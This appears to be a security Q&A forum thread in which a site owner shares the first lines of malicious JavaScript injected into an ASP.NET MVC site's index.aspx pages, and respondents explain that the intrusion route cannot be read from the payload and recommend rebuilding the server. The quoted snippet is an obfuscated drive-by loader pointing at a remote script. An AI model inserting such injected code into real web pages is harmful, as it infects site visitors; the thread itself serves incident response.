Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site.

While we have cleaned it up, I have not been able to find any information on how the initial infection occurs. If anyone has any info on how this happens (e.g. ftp exploit, some kind of code injection, etc.) please let me know so a code review can take place, if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
  • 1
    What exactly is your question? If a file on your server was modified it means the hacker had access to your file system in order to do so. – Ramhound Jan 3 '13 at 13:43
  • 1
    Given its generic nature (and that it only affected index.aspx files) I would presume it is an automated bot inserting the offending code. As such it must have a default method of infection, I was wondering what this was, there are many forum posts about how to remove it, I would like to know how it got on there so I can ensure it doesn't happen again. I.e. does it do it by some kind of injection or an exploit in MVC 2 or maybe an ftp exploit etc. – gdrider Jan 3 '13 at 14:21
  • 1
    @gedrider - What exactly is an "ftp exploit" in your book? As I pointed out in order for the file to be modified that had to have access to your file system which means the entire system is likely compromised. More information about the operating system is required ( shared hosting vs dedicated hosting ) for instance. – Ramhound Jan 3 '13 at 14:33
  • 1
    1 million bots types and each with their own methods that change regularly. There is no 'default method of infection'. – schroeder Jan 3 '13 at 20:18

Running the code through a URL decoder, you can see that it is a simple Javascript and not a specific 'virus'.

What you are seeing is not the actions or the result of the initial exploitation. You cannot determine the attack vector from the results. They got in through 'some means' and wrote to files on your file system. That means a code review might not reveal anything. That also means your solution might not be found in your code.

How did they get in? Maybe code vulnerability, SQLi, ssh brute force, FTP, server OS vulnerability, service vulnerability, 3rd party uploaded code, infection on your machine through attachment or browser vulnerability, aliens, physical access, perhaps you have multiple personalities and your 'alters' didn't tell you they rewrote your code. HOW they got in is the last problem you have right now.

Your first problem right now is that someone is in control of your server. Copy the logs, shutdown, reinstall, patch, change passwords, set up additional monitoring, and THEN do code review to look for vulnerabilities.

| improve this answer | |
  • Thanks for the info, the server has been cleaned / re-installed etc and no reinfection has occurred. Just thought it was worth asking if anyone knew the most common method of infection for this JS, which then dls a virus to the user. – gdrider Jan 4 '13 at 8:44

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.